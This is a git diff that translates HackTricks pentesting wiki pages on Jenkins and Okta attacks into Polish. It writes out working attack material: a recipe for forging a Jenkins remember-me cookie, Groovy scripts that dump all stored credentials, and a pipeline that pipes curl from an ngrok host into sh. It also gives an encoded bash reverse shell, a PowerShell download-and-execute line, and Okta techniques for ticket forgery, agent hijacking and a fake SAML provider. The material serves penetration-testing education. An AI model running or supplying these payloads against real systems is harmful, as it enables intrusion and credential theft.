+- **Hash hasła**
-**Secret Key Extraction**
+**Ekstrakcja klucza sekretnego**
-- Extract cryptographic keys used for signing the cookie:
- - **Secret Key:** `$JENKINS_HOME/secret.key`
- - **Master Key:** `$JENKINS_HOME/secrets/master.key`
- - **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
+- Wyodrębnij klucze kryptograficzne używane do podpisywania ciasteczka:
+- **Klucz sekretu:** `$JENKINS_HOME/secret.key`
+- **Klucz główny:** `$JENKINS_HOME/secrets/master.key`
+- **Plik klucza MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-#### Step 2: Cookie Forging
+#### Krok 2: Fałszowanie ciasteczka
-**Token Preparation**
+**Przygotowanie tokena**
-- **Calculate Token Expiry Time:**
+- **Oblicz czas wygaśnięcia tokena:**
- ```javascript
- tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
- ```
+```javascript
+tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedną godzinę do bieżącego czasu
+```
-- **Concatenate Data for Token:**
+- **Konkatenacja danych dla tokena:**
- ```javascript
- token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
- ```
+```javascript
+token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
+```
-**MAC Key Decryption**
+**Deszyfrowanie klucza MAC**
-- **Decrypt MAC Key File:**
+- **Deszyfruj plik klucza MAC:**
- ```javascript
- key = toAes128Key(masterKey) // Convert master key to AES128 key format
- decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
- if not decrypted.hasSuffix("::::MAGIC::::")
- return ERROR;
- macKey = decrypted.withoutSuffix("::::MAGIC::::")
- ```
+```javascript
+key = toAes128Key(masterKey) // Konwertuj klucz główny na format klucza AES128
+decrypted = AES.decrypt(macFile, key) // Deszyfruj plik .mac
+if not decrypted.hasSuffix("::::MAGIC::::")
+return ERROR;
+macKey = decrypted.withoutSuffix("::::MAGIC::::")
+```
-**Signature Computation**
+**Obliczanie podpisu**
-- **Compute HMAC SHA256:**
+- **Oblicz HMAC SHA256:**
- ```javascript
- mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
- tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
- ```
+```javascript
+mac = HmacSHA256(token, macKey) // Oblicz HMAC używając tokena i klucza MAC
+tokenSignature = bytesToHexString(mac) // Konwertuj MAC na ciąg szesnastkowy
+```
-**Cookie Encoding**
+**Kodowanie ciasteczka**
-- **Generate Final Cookie:**
+- **Generuj końcowe ciasteczko:**
- ```javascript
- cookie = base64.encode(
- username + ":" + tokenExpiryTime + ":" + tokenSignature
- ) // Base64 encode the cookie data
- ```
+```javascript
+cookie = base64.encode(
+username + ":" + tokenExpiryTime + ":" + tokenSignature
+) // Koduj dane ciasteczka w Base64
+```
-#### Step 3: Code Execution
+#### Krok 3: Wykonanie kodu
-**Session Authentication**
+**Uwierzytelnianie sesji**
-- **Fetch CSRF and Session Tokens:**
- - Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- - Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
+- **Pobierz tokeny CSRF i sesji:**
+- Wykonaj żądanie do `/crumbIssuer/api/json`, aby uzyskać `Jenkins-Crumb`.
+- Przechwyć `JSESSIONID` z odpowiedzi, który będzie używany w połączeniu z ciasteczkiem "zapamiętaj mnie".
-**Command Execution Request**
+**Żądanie wykonania polecenia**
-- **Send a POST Request with Groovy Script:**
+- **Wyślij żądanie POST z skryptem Groovy:**
- ```bash
- curl -X POST "$JENKINS_URL/scriptText" \
- --cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
- --header "Jenkins-Crumb: $CRUMB" \
- --header "Content-Type: application/x-www-form-urlencoded" \
- --data-urlencode "script=$SCRIPT"
- ```
+```bash
+curl -X POST "$JENKINS_URL/scriptText" \
+--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
+--header "Jenkins-Crumb: $CRUMB" \
+--header "Content-Type: application/x-www-form-urlencoded" \
+--data-urlencode "script=$SCRIPT"
+```
- - Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
+- Skrypt Groovy może być użyty do wykonywania poleceń na poziomie systemu lub innych operacji w środowisku Jenkins.
-The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
+Przykład polecenia curl pokazuje, jak wykonać żądanie do Jenkins z niezbędnymi nagłówkami i ciasteczkami, aby bezpiecznie wykonać arbitralny kod.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 8699b8159..0489d1fc1 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-You can **dump all the secrets from the Groovy Script console** in `/script` running this code
+> Zauważ, że te skrypty będą tylko wyświetlać sekrety znajdujące się w pliku `credentials.xml`, ale **pliki konfiguracyjne budowy** mogą również zawierać **więcej poświadczeń**.
+Możesz **wyeksportować wszystkie sekrety z konsoli skryptów Groovy** w `/script`, uruchamiając ten kod
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,52 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
-
-#### or this one:
-
+#### lub ten:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
- com.cloudbees.plugins.credentials.Credentials.class
+com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
- println(c.id)
- if (c.properties.description) {
- println(" description: " + c.description)
- }
- if (c.properties.username) {
- println(" username: " + c.username)
- }
- if (c.properties.password) {
- println(" password: " + c.password)
- }
- if (c.properties.passphrase) {
- println(" passphrase: " + c.passphrase)
- }
- if (c.properties.secret) {
- println(" secret: " + c.secret)
- }
- if (c.properties.secretBytes) {
- println(" secretBytes: ")
- println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
- println("")
- }
- if (c.properties.privateKeySource) {
- println(" privateKey: " + c.getPrivateKey())
- }
- if (c.properties.apiToken) {
- println(" apiToken: " + c.apiToken)
- }
- if (c.properties.token) {
- println(" token: " + c.token)
- }
- println("")
+println(c.id)
+if (c.properties.description) {
+println(" description: " + c.description)
+}
+if (c.properties.username) {
+println(" username: " + c.username)
+}
+if (c.properties.password) {
+println(" password: " + c.password)
+}
+if (c.properties.passphrase) {
+println(" passphrase: " + c.passphrase)
+}
+if (c.properties.secret) {
+println(" secret: " + c.secret)
+}
+if (c.properties.secretBytes) {
+println(" secretBytes: ")
+println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
+println("")
+}
+if (c.properties.privateKeySource) {
+println(" privateKey: " + c.getPrivateKey())
+}
+if (c.properties.apiToken) {
+println(" apiToken: " + c.apiToken)
+}
+if (c.properties.token) {
+println(" token: " + c.token)
+}
+println("")
}
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 89ca15223..8aebd65f4 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,43 +1,37 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Tworzenie/Modyfikowanie Pipeline
{{#include ../../banners/hacktricks-training.md}}
-## Creating a new Pipeline
+## Tworzenie nowego Pipeline
-In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
+W "Nowy element" (dostępne w `/view/all/newJob`) wybierz **Pipeline:**
.png>)
-In the **Pipeline section** write the **reverse shell**:
+W **sekcji Pipeline** wpisz **reverse shell**:
.png>)
-
```groovy
pipeline {
- agent any
+agent any
- stages {
- stage('Hello') {
- steps {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
- '''
- }
- }
- }
+stages {
+stage('Hello') {
+steps {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
+'''
+}
+}
+}
}
```
-
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
.png>)
-## Modifying a Pipeline
+## Modyfikowanie potoku
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index f16096070..603b3df59 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,40 +1,36 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Tworzenie/Modyfikowanie Projektu
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Tworzenie Projektu
-This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
+Ta metoda jest bardzo głośna, ponieważ musisz stworzyć zupełnie nowy projekt (oczywiście to zadziała tylko, jeśli użytkownik ma prawo do tworzenia nowego projektu).
-1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
-2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
-3. Click **Build now**
- 1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
- 2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl :@/job//build?token=`**
+1. **Utwórz nowy projekt** (projekt Freestyle) klikając "Nowy element" lub w `/view/all/newJob`
+2. W sekcji **Budowanie** ustaw **Wykonaj powłokę** i wklej launcher PowerShell Empire lub PowerShell meterpreter (można uzyskać za pomocą _unicorn_). Uruchom ładunek za pomocą _PowerShell.exe_ zamiast _powershell._
+3. Kliknij **Buduj teraz**
+1. Jeśli przycisk **Buduj teraz** się nie pojawia, możesz nadal przejść do **konfiguracji** --> **Wyzwalacze budowania** --> `Buduj okresowo` i ustawić cron na `* * * * *`
+2. Zamiast używać crona, możesz użyć konfiguracji "**Wyzwalaj budowy zdalnie**", gdzie musisz tylko ustawić nazwę tokena API, aby wyzwolić zadanie. Następnie przejdź do swojego profilu użytkownika i **wygeneruj token API** (nazwij ten token API tak, jak nazwałeś token API do wyzwolenia zadania). Na koniec wyzwól zadanie za pomocą: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Modyfikowanie Projektu
-Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
+Przejdź do projektów i sprawdź **czy możesz skonfigurować którykolwiek** z nich (szukaj przycisku "Konfiguruj"):
.png>)
-If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
+Jeśli **nie możesz** zobaczyć żadnego **przycisku konfiguracji**, to prawdopodobnie **nie możesz** **go skonfigurować** (ale sprawdź wszystkie projekty, ponieważ możesz być w stanie skonfigurować niektóre z nich, a inne nie).
-Or **try to access to the path** `/job//configure` or `/me/my-views/view/all/job//configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
+Lub **spróbuj uzyskać dostęp do ścieżki** `/job//configure` lub `/me/my-views/view/all/job//configure` \_\_ w każdym projekcie (przykład: `/job/Project0/configure` lub `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Wykonanie
-If you are allowed to configure the project you can **make it execute commands when a build is successful**:
+Jeśli masz prawo do konfiguracji projektu, możesz **sprawić, aby wykonywał polecenia, gdy budowa zakończy się sukcesem**:
.png>)
-Click on **Save** and **build** the project and your **command will be executed**.\
-If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
+Kliknij **Zapisz** i **zbuduj** projekt, a Twoje **polecenie zostanie wykonane**.\
+Jeśli nie wykonujesz odwrotnej powłoki, ale proste polecenie, możesz **zobaczyć wynik polecenia w wynikach budowy**.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 33821cc03..5c00660e8 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,24 +4,21 @@
## Jenkins RCE with Groovy Script
-This is less noisy than creating a new project in Jenkins
-
-1. Go to _path_jenkins/script_
-2. Inside the text box introduce the script
+To jest mniej hałaśliwe niż tworzenie nowego projektu w Jenkins
+1. Przejdź do _path_jenkins/script_
+2. Wprowadź skrypt w polu tekstowym
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
+Możesz wykonać polecenie używając: `cmd.exe /c dir`
-You could execute a command using: `cmd.exe /c dir`
+W **linux** możesz zrobić: **`"ls /".execute().text`**
-In **linux** you can do: **`"ls /".execute().text`**
-
-If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
-
-**Another useful groovy script** is (replace \[INSERT COMMAND]):
+Jeśli musisz użyć _cudzysłowów_ i _pojedynczych cudzysłowów_ wewnątrz tekstu. Możesz użyć _"""PAYLOAD"""_ (potrójne podwójne cudzysłowy), aby wykonać ładunek.
+**Inny przydatny skrypt groovy** to (zamień \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -29,9 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-
-### Reverse shell in linux
-
+### Odwrócona powłoka w systemie Linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -39,29 +34,20 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
+### Reverse shell w Windows
-### Reverse shell in windows
-
-You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
-
+Możesz przygotować serwer HTTP z PS reverse shell i użyć Jekinsa do pobrania i wykonania go:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
+### Skrypt
-### Script
-
-You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-
-You can use MSF to get a reverse shell:
+Możesz zautomatyzować ten proces za pomocą [**tego skryptu**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
+Możesz użyć MSF, aby uzyskać odwróconą powłokę:
```
msf> use exploit/multi/http/jenkins_script_console
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index e682996c2..0a036e0a6 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -2,117 +2,113 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Podstawowe informacje
-[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
+[Okta, Inc.](https://www.okta.com/) jest uznawana w sektorze zarządzania tożsamością i dostępem za swoje oparte na chmurze rozwiązania programowe. Rozwiązania te mają na celu uproszczenie i zabezpieczenie uwierzytelniania użytkowników w różnych nowoczesnych aplikacjach. Są skierowane nie tylko do firm dążących do ochrony swoich wrażliwych danych, ale także do programistów zainteresowanych integracją kontroli tożsamości w aplikacjach, usługach internetowych i urządzeniach.
-The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
+Flagowym produktem Okta jest **Okta Identity Cloud**. Ta platforma obejmuje zestaw produktów, w tym, ale nie tylko:
-- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
-- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
-- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
-- **Universal Directory**: Enables centralized management of users, groups, and devices.
-- **API Access Management**: Secures and manages access to APIs.
+- **Single Sign-On (SSO)**: Uproszcza dostęp użytkowników, pozwalając na użycie jednego zestawu danych logowania w wielu aplikacjach.
+- **Multi-Factor Authentication (MFA)**: Zwiększa bezpieczeństwo, wymagając wielu form weryfikacji.
+- **Zarządzanie cyklem życia**: Automatyzuje procesy tworzenia, aktualizacji i dezaktywacji kont użytkowników.
+- **Universal Directory**: Umożliwia centralne zarządzanie użytkownikami, grupami i urządzeniami.
+- **API Access Management**: Zabezpiecza i zarządza dostępem do API.
-These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
+Usługi te mają na celu wzmocnienie ochrony danych i uproszczenie dostępu użytkowników, zwiększając zarówno bezpieczeństwo, jak i wygodę. Wszechstronność rozwiązań Okta sprawia, że są one popularnym wyborem w różnych branżach, korzystają z nich zarówno duże przedsiębiorstwa, małe firmy, jak i indywidualni programiści. Na ostatnią aktualizację we wrześniu 2021 roku, Okta jest uznawana za znaczącą jednostkę w obszarze zarządzania tożsamością i dostępem (IAM).
-> [!CAUTION]
-> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
+> [!OSTRZEŻENIE]
+> Głównym celem Okta jest skonfigurowanie dostępu do różnych użytkowników i grup do aplikacji zewnętrznych. Jeśli uda ci się **skompromentować uprawnienia administratora w środowisku Okta**, prawdopodobnie będziesz w stanie **skompromentować wszystkie inne platformy, z których korzysta firma**.
-> [!TIP]
-> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
+> [!WSKAZÓWKA]
+> Aby przeprowadzić przegląd bezpieczeństwa środowiska Okta, powinieneś poprosić o **dostęp tylko do odczytu dla administratora**.
-### Summary
+### Podsumowanie
-There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
-These users can be inside **groups**.\
-There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
+Są **użytkownicy** (którzy mogą być **przechowywani w Okta,** logowani z skonfigurowanych **Dostawców Tożsamości** lub uwierzytelniani za pomocą **Active Directory** lub LDAP).\
+Ci użytkownicy mogą być w **grupach**.\
+Są także **uwierzytelnienia**: różne opcje uwierzytelniania, takie jak hasło oraz kilka 2FA, takich jak WebAuthn, e-mail, telefon, Okta Verify (mogą być włączone lub wyłączone)...
-Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
+Następnie są **aplikacje** zsynchronizowane z Okta. Każda aplikacja będzie miała jakieś **mapowanie z Okta** do dzielenia się informacjami (takimi jak adresy e-mail, imiona...). Ponadto każda aplikacja musi być częścią **Polityki Uwierzytelniania**, która wskazuje **potrzebne uwierzytelnienia** dla użytkownika, aby **uzyskać dostęp** do aplikacji.
-> [!CAUTION]
-> The most powerful role is **Super Administrator**.
+> [!OSTRZEŻENIE]
+> Najpotężniejszą rolą jest **Super Administrator**.
>
-> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
+> Jeśli atakujący skompromituje Okta z dostępem administratora, wszystkie **aplikacje ufające Okta** będą prawdopodobnie **skompromentowane**.
-## Attacks
+## Ataki
-### Locating Okta Portal
+### Lokalizowanie portalu Okta
-Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
+Zazwyczaj portal firmy będzie znajdował się pod adresem **companyname.okta.com**. Jeśli nie, spróbuj prostych **wariantów** **companyname.** Jeśli nie możesz go znaleźć, możliwe, że organizacja ma rekord **CNAME** taki jak **`okta.companyname.com`** wskazujący na **portal Okta**.
-### Login in Okta via Kerberos
+### Logowanie do Okta za pomocą Kerberos
-If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
+Jeśli **`companyname.kerberos.okta.com`** jest aktywne, **Kerberos jest używany do dostępu do Okta**, zazwyczaj omijając **MFA** dla użytkowników **Windows**. Aby znaleźć użytkowników Okta uwierzytelnionych za pomocą Kerberos w AD, uruchom **`getST.py`** z **odpowiednimi parametrami**. Po uzyskaniu **biletu użytkownika AD**, **wstrzyknij** go do kontrolowanego hosta za pomocą narzędzi takich jak Rubeus lub Mimikatz, upewniając się, że **`clientname.kerberos.okta.com` jest w strefie "Intranet" w Opcjach Internetowych**. Uzyskanie dostępu do konkretnego URL powinno zwrócić odpowiedź JSON "OK", co wskazuje na akceptację biletu Kerberos i przyznanie dostępu do pulpitu nawigacyjnego Okta.
-Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
+Skompromitowanie **konta usługi Okta z delegacją SPN umożliwia atak Silver Ticket.** Jednak użycie przez Okta **AES** do szyfrowania biletów wymaga posiadania klucza AES lub hasła w postaci jawnej. Użyj **`ticketer.py`, aby wygenerować bilet dla użytkownika ofiary** i dostarczyć go za pośrednictwem przeglądarki do uwierzytelnienia w Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking Okta AD Agent
+### Przejęcie agenta AD Okta
-This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
+Technika ta polega na **dostępie do agenta AD Okta na serwerze**, który **synchronizuje użytkowników i obsługuje uwierzytelnianie**. Poprzez badanie i deszyfrowanie konfiguracji w **`OktaAgentService.exe.config`**, szczególnie AgentToken przy użyciu **DPAPI**, atakujący może potencjalnie **przechwycić i manipulować danymi uwierzytelniającymi**. Umożliwia to nie tylko **monitorowanie** i **przechwytywanie danych logowania** w postaci jawnej podczas procesu uwierzytelniania Okta, ale także **reagowanie na próby uwierzytelnienia**, co umożliwia nieautoryzowany dostęp lub zapewnia uniwersalne uwierzytelnienie przez Okta (podobnie jak 'klucz uniwersalny').
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking AD As an Admin
+### Przejęcie AD jako administrator
-This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
+Technika ta polega na przejęciu agenta AD Okta poprzez najpierw uzyskanie kodu OAuth, a następnie żądanie tokena API. Token jest powiązany z domeną AD, a **konektor jest nazwany, aby ustanowić fałszywego agenta AD**. Inicjalizacja pozwala agentowi na **przetwarzanie prób uwierzytelnienia**, przechwytując dane logowania za pośrednictwem API Okta. Narzędzia automatyzacyjne są dostępne, aby uprościć ten proces, oferując płynny sposób na przechwytywanie i obsługę danych uwierzytelniających w środowisku Okta.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Okta Fake SAML Provider
+### Fałszywy dostawca SAML Okta
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Sprawdź atak w** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
+Technika ta polega na **wdrożeniu fałszywego dostawcy SAML**. Poprzez integrację zewnętrznego Dostawcy Tożsamości (IdP) w ramach Okta przy użyciu uprzywilejowanego konta, atakujący mogą **kontrolować IdP, zatwierdzając dowolne żądanie uwierzytelnienia według uznania**. Proces ten obejmuje skonfigurowanie IdP SAML 2.0 w Okta, manipulowanie URL logowania SSO IdP w celu przekierowania przez lokalny plik hosts, generowanie certyfikatu samopodpisanego oraz konfigurowanie ustawień Okta, aby pasowały do nazwy użytkownika lub adresu e-mail. Pomyślne wykonanie tych kroków pozwala na uwierzytelnienie jako dowolny użytkownik Okta, omijając potrzebę posiadania indywidualnych danych logowania użytkownika, co znacznie podnosi kontrolę dostępu w sposób, który może pozostać niezauważony.
-### Phishing Okta Portal with Evilgnix
+### Atak phishingowy na portal Okta z użyciem Evilgnix
-In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
+W [**tym wpisie na blogu**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) wyjaśniono, jak przygotować kampanię phishingową przeciwko portalowi Okta.
-### Colleague Impersonation Attack
+### Atak podszywania się pod kolegę
-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+**Atrybuty, które każdy użytkownik może mieć i modyfikować** (takie jak e-mail czy imię) mogą być skonfigurowane w Okta. Jeśli **aplikacja** ufa jako ID **atrybutowi**, który użytkownik może **modyfikować**, będzie mógł **podszywać się pod innych użytkowników na tej platformie**.
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+Dlatego, jeśli aplikacja ufa polu **`userName`**, prawdopodobnie nie będziesz mógł go zmienić (ponieważ zazwyczaj nie można zmieniać tego pola), ale jeśli ufa na przykład **`primaryEmail`**, możesz być w stanie **zmienić go na adres e-mail kolegi** i się pod niego podszyć (musisz mieć dostęp do e-maila i zaakceptować zmianę).
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+Zauważ, że to podszywanie się zależy od tego, jak każda aplikacja została skonfigurowana. Tylko te, które ufają polu, które zmodyfikowałeś i akceptują aktualizacje, będą skompromitowane.\
+Dlatego aplikacja powinna mieć to pole włączone, jeśli istnieje:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+Widziałem także inne aplikacje, które były podatne, ale nie miały tego pola w ustawieniach Okta (na końcu różne aplikacje są konfigurowane inaczej).
-The best way to find out if you could impersonate anyone on each app would be to try it!
